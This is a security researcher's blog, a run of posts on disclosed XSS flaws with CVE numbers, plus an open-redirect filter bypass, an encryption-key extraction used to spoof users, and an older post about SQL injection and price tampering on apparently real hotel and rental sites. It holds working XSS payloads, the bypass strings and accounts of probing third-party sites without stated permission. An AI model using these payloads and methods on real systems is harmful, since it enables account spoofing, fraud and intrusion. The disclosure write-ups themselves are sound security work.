Showing posts with label XSS. Show all posts
Showing posts with label XSS. Show all posts

Wednesday, December 28, 2022

Input-Format-Depedent-XSS: Restrictions Are Your Best Friend!

Recently, I had a stubborn form where I attempted XSS in the free text fields, without success. Eventually, I also started looking at other input fields on the form that required stricter input formatting, such as phone number, SSN, address, etc.

Of course, the email field only accepts input containing an email address...! So, I tried an XSS payload containing a valid email, like:

<sCript>alert('burninatorsec@defcon.org')</scRipt>

And it works!

But why?

The validation logic is actually what is reflecting the XSS in the page. Therefore I wouldn't have been able to succeed without the input restriction! It didn't make XSS harder, it made it possible. Furthermore, automated vulnerability scanning tools that don't adjust their behavior to the expected input format based on business context won't find XSS issues like these, they will just dumbly try a bunch of standard payloads. My job is safe for another day.

How do these kind of vulnerabilities happen?

Likely the developer was playing fast and loose with regex, because it's clearly not matching in a way that forces a pattern exclusively (for example, maybe they are missing the "starts with"/"ends with" pattern matching characters). Or maybe they're not using a framework or library with built-in data formatting requirements. Just guessing, but that's the kind of mistake I would have made when I was a dev, and now I get to use it for hacking!

Also, consider that devs will often focus their time and energy on EITHER QA/business logic validation OR security validation, but not usually both. It's counterintuitive, but that's how restrictions can actually help hackers. 

So, at the risk of sounding too Sun-Tzu-Art-of-War: when you use your limitations to your advantage, then you have none.



 

Wednesday, July 28, 2021

OnyakTech Comments Pro - Broken Encryption and XSS CVE-2021-33484 and CVE-2021-33483

 

Broken Encryption / User Spoofing (CVE-2021-33484)

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33484

 

This exploit involves downloading an DotNetNuke module installer for OnyakTech Comments Pro 3.8 and de-compiling it with a tool like JustDecompile. NOTE: it is no longer available for download to my knowledge. 

Comments Pro is used for adding comment section functionality to a site.

After decompiling the installer, I find that one of the code files has an intriguing name like "encryption". This has an IV vector hardcoded in it, woo!

 

 

But where is the encryption key? We need both in order to do a nefarious enough POC. Well, luckily the requests made to the "CommentsService.ashx" endpoint involve two values, one of which is a JSON field called "key" and one called "displayname". Both appear to be encrypted: 


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment':'definitely fine don't worry about it',

‘func’:’addcomment’

}


I notice that when I throw junk values into the "displayname" value, it will throw an error like "Encryption: The input is not a valid Base-64 string", which is displayed where my display name should be:



This tells me I may be able to control decryption from the client side. So, if I wanted to decrypt it to see what the value of the key is - and I sure do - then I can make that the new value for "displayname" and, voila, there's the key displayed on the page!


 

Now that I have the IV, the key, and even the functions in the source code that show how the encryption and decryption is done, let's use it to do something we're not supposed to do. The goal : to spoof users. Even though the application required a login for most areas, this module seemed to ignore it, so I was able to add (spoofed) comments or add/delete my own or others' comments without authentication. By combining these issues with an unrelated user enumeration issue in DotNetNuke, I can encrypt any user's name and their user ID in the request to spoof a given user. It will even pull in their actual profile image (based on their user ID), so it will look legit.


I recently went to get beer with my local DEFCON group (in person - vax for hax!) When I described this out loud, I realized I was having a hard time thinking of a remediation for this type of attack in general. After all, "where to hide the encryption iv/ keys?" is an old problem. But the reverse engineer I was talking to mentioned that the Windows API has it's own encryption that an app could use. I really liked the idea, because it moves control to a deeper layer, to the OS instead of the app. In this particular case, I didn't compromise the server, so the trick of de-compiling would, theoretically, have been foiled by a move like that.


Stored XSS (CVE-2021-33483) 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33483


In the request to the "add comment" endpoint described above, drop in a double {{ to escape the JSON for your XSS payload. When another user visits the page containing the comment with the payload, it will execute.

 

i.e.


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment': '{{ <sCript>prompt(800)</sCript>',

‘func’:’addcomment’

}


Tuesday, April 13, 2021

CVE-2020-29592 and CVE-2020-29593 - Orchard CMS Unrestricted File Upload and XSS

 

Note: This is fixed in Orchard 1.10, this post is about Orchard 1.8.1.0.


CVE-2929-29592 - Unrestricted File Upload via Media Folder and TinyMCE HTML Editor:

https://user-images.githubusercontent.com/68610637/101294502-afb75c00-37e5-11eb-8bc4-9745a66e15f5.png

Not allowed because these are the allowed file types:

https://user-images.githubusercontent.com/68610637/101294729-741d9180-37e7-11eb-84e8-fee3143f34b1.png

But we can...

https://user-images.githubusercontent.com/68610637/101294742-88fa2500-37e7-11eb-8141-6092d7de5e6a.png

https://user-images.githubusercontent.com/68610637/101294750-91eaf680-37e7-11eb-9fd8-2b83ebb2a1c2.png 

 Success!

https://user-images.githubusercontent.com/68610637/101294764-a4653000-37e7-11eb-9ffb-9cc44fbb9589.png 

 

CVE-2020-29593 - XSS via Media Types Settings



 



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29592

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29593


CVE-2020-26885 - XSS in 2SXC

Reflected XSS via the sxcver parameter on the /DesktopModles/tosic_sexycontent/dist/dnn/ui.html page by using the payload:

 

"><IMG%20SRC=%23%20onerror="alert('xss')">


2SIC was very fast to respond and super great to work with! This has been remediated with this update here: (https://github.com/2sic/eav-item-dialog-angular/blob/develop/projects/ng-dialogs/src/index.html#L33-L42) and they published a helpful notice on their blog here: (https://2SXC.org/en/blog/post/2sxc-security-notification-2021-001)

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885

Monday, April 12, 2021

CVE-2021-3163 - Stored XSS Slab Quill JS

 XSS in the WYSIWYG HTML editor by abusing the image tag.

 

For example, in the POST request when adding a comment, add this payload to the field with the comment text by using an interception proxy like BurpSuite:

 

<div><image src=validateNonExistantImage.png onloadstart=alert(1337)> hey girl hey </div>


Now the payload is stored on the page. When the next user visits, the XSS will execute.


This is a good example of why client side validation does not stop attackers who routinely bypass validation by interacting with APIs and server side endpoints directly.


https://github.com/quilljs/quill/issues/3273


I reported this to LinkedIn since they are using QuillJS, but they only have a private bug bounty program.


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3163


NOTE: Though the CVE is marked as "disputed", it is a very basic stored XSS has been easily reproducible. They seemed to accept this explanation and remediation note in issue #3558, but as of September 2022, the issue is still open and there doesn't seem to be a security patch in place, so it's still exploitable. As explained here, in order to fix it, there needs to be server side sanitation in addition to the client side validation that they're already using:

https://github.com/quilljs/quill/issues/3558

More discussion here, where I comment as "burninatorsec2":

https://github.com/quilljs/quill/issues/3364


Monday, October 26, 2020

CVE-2020-26885 XSS in Anchor Tags

For CVE-2020-26885, the AWS WAF made it difficult to get XSS payloads through to the server, but I was able to rely on the client to execute one by using the anchor tag in the URL to exploit it:


/test.html#variable1=true&app=3&version=">IMG%20SRC=%23%20onerror="alert('burninatorsec')">


https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885

Sunday, October 4, 2020

CVE-2020-15864 - XSS in Quali CloudShell Login

Payload:

{{constructor.constructor(%27alert(19891337)%27)()}

Add "username" as a parameter to the login URL to reference the username field of the Quali CloudShell login page, and the JavaScript will execute when they visit the URL, i.e.


https://victim/Account/Login?ReturnUrl%252fAccount%252f%&username={{constructor.constructor(%27alert(1337)%27)()}}

 

Note: <sCript>alert(1337)<scRipt> works too, but isn't as dangerous because it won't autoload through the URL like the constructor payload does.

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15864



 



Wednesday, September 2, 2020

CVE-2020-13972 - XSS via SSRF in Enghouse/Zeacom web chat

Here's a chained attack of a known SSRF issue (CVE-2019-16948 / CVE-2019-16951 ) in order to get XSS in Enghouse Web Chat 6.2.284.34.

When an attacker enters their own URL in the WebServiceLocation parameter, the response from the POST request is displayed by the application client side, and any JavaScript returned from the external server is executed in the browser.


For example, the attacker injects their URL (ending in /ooowee):


The endpoint at /ooowee is returning a XSS payload as a POST response (using mdonkers script from GitHub for a quick server to spin up):

The XSS payload pops for the client:




Tuesday, August 11, 2020

Filter Bypass for Open Redirect

Trying to add a redirect payload through a URL parameter (but it's just getting harmlessly tacked to the end of the domain)? Bypass by adding the same parameter twice. When the link is displayed on the page, the browser adds a comma and breaks up the pattern:


So, this fails:


whatever.com/cc?DestPage=/"><a%20href="badsite.com">

 

...because it redirects to whatever.com/badsite.com.



But, this succeeds, redirecting to badsite.com:


whatever.com/cc?DestPage=">&DestPage=<a%20href="badsite.com">


PS This also works for XSS payloads, though in this case, wouldn't require the double-parameter trick. It's probably more common for open redirects, but let me know!

 

 

Sunday, April 1, 2018

Basic SQL Injection and XSS : OWASP Juice Shop and Beyond!

I've been learning how to use Burp Suite to speed up things I used to script. It's not a complete replacement for all projects (see my previous post about about shuffling MMS messages around, or polling scripts to alert me to changes in an upload folder, for example) but it's fantastic so far. A wonderful place to test has been OWASP Juice Shop, an intentionally vulnerable Javascript-based site, which has a score board for the various vulnerabilities found by its users.

One challenge was to find a hidden language file. It was easy to find the directory where the other language files were kept (and thus get the format of the file name, es_ES.json), but significantly more difficult to automate iterating over 4000 or more known language codes such as cs_CZ or es_ES to wait for a 200 OK status to come back.  I would have normally used a Python script here, but it could be tried in Burp Suite's "repeater" tool instead by loading the language codes into a payload and then running a custom packet (although, maybe not: the tricky part would be in the case of fictional languages that may not have a country code associated with it, so random 2-letter combinations may be brute forced faster with a script. Not sure - let me know in the comments if there's a Burp Suite way instead).

Long story short, Juice Shop is great practice tool... but what about other sites?

Hotel Rate and Hidden Variables


One hotel's reservation page can be edited so that it charges an incorrect room rate. This happens by editing two variables; one javascript variable for islovelyrate can be set to true, and, likewise, the lovelyrate variable can be set to any number. The islovelyrate variable forces a recalculation of the price just before the payment page, which then uses whatever rate amount the client-side code provided. There may be further server-side validation to prevent the bad amount from going through, but I stopped short of entering payment information, so I don't know.

Rental Site - SQLi, PHP


This one is full of fascinating issues. It is vulnerable to SQL injection, and has verbose SQL and PHP errors, which lead to finding the publicly readable directories where the .php files are stored. This included old copies of the PHP scripts, labeled as "reserve.php OLD" as opposed to "reserve.php". Because the file extension wasn't .php, the server allowed me to download and view the code in the old copies, instead of executing the PHP. It turns out that the old code must be very similar to the new version, because it was vulnerable to the same attacks that the old one was. The scripts included parameter names for PHP session variables, full SQL queries, other directories on the server, etc. Luckily no credentials were hard coded. Errors from trying to run PHP scripts as one-offs lead to more verbose errors which lead to several more readable directories with PHP scripts, including the admin section, and scripts for sending SMS to guests from the site (which functioned, as demonstrated with a temporary phone number). There was little to no input validation, so the product could be reserved for dates with a sooner start date than ending date, causing the product's final cost to be calculated as 0.00. Additionally, there were no upper bounds on date, so trying to get a quote for Dec 1, 1500 to Dec 1, 2020 seemed to cause a soft crash for a little while.

This site's one saving grace is that it did not allow me to upload my own file to one of these seemingly wide-open directories, despite the HTTP OPTIONS request returning POST. However, with a little more effort, I'm almost positive there would be a way to.

Organization - XSS, SQLi


This one was unusual. The SQL error returned revealed that the URL parameter passed to it was being used in various parts of the query in different ways, sometimes as a part of a column name, table name, or in the where clause parameter itself. I don't think I've ever seen that before, and at first, it was difficult to see how to SQL inject something like this. It was interesting that there were a lot of joins in the query, which showed a lot of table names. Other pages where more easily SQL injectable (with things like ‘ or ‘1’=‘1 (I couldn’t escape the end of the query with a - - comment, so I used the ending apostrophe). On one of these pages with a simpler query, I was able to SQL inject with a UNION which returned a different table's data (despite it only being designed to return one value, it luckily listed all of them). I got a privilege error when my output command failed to write the results to a file (which is okay because it was already displaying multiple results), but that gave me the current database user's account name.

A simple XSS attack worked in the search box of the site, mainly because it caused a SQL error which then executed the contents of the <script> tag when it displayed. I wonder if I would be able to insert the script tag so it would persist in the database, and execute for other users.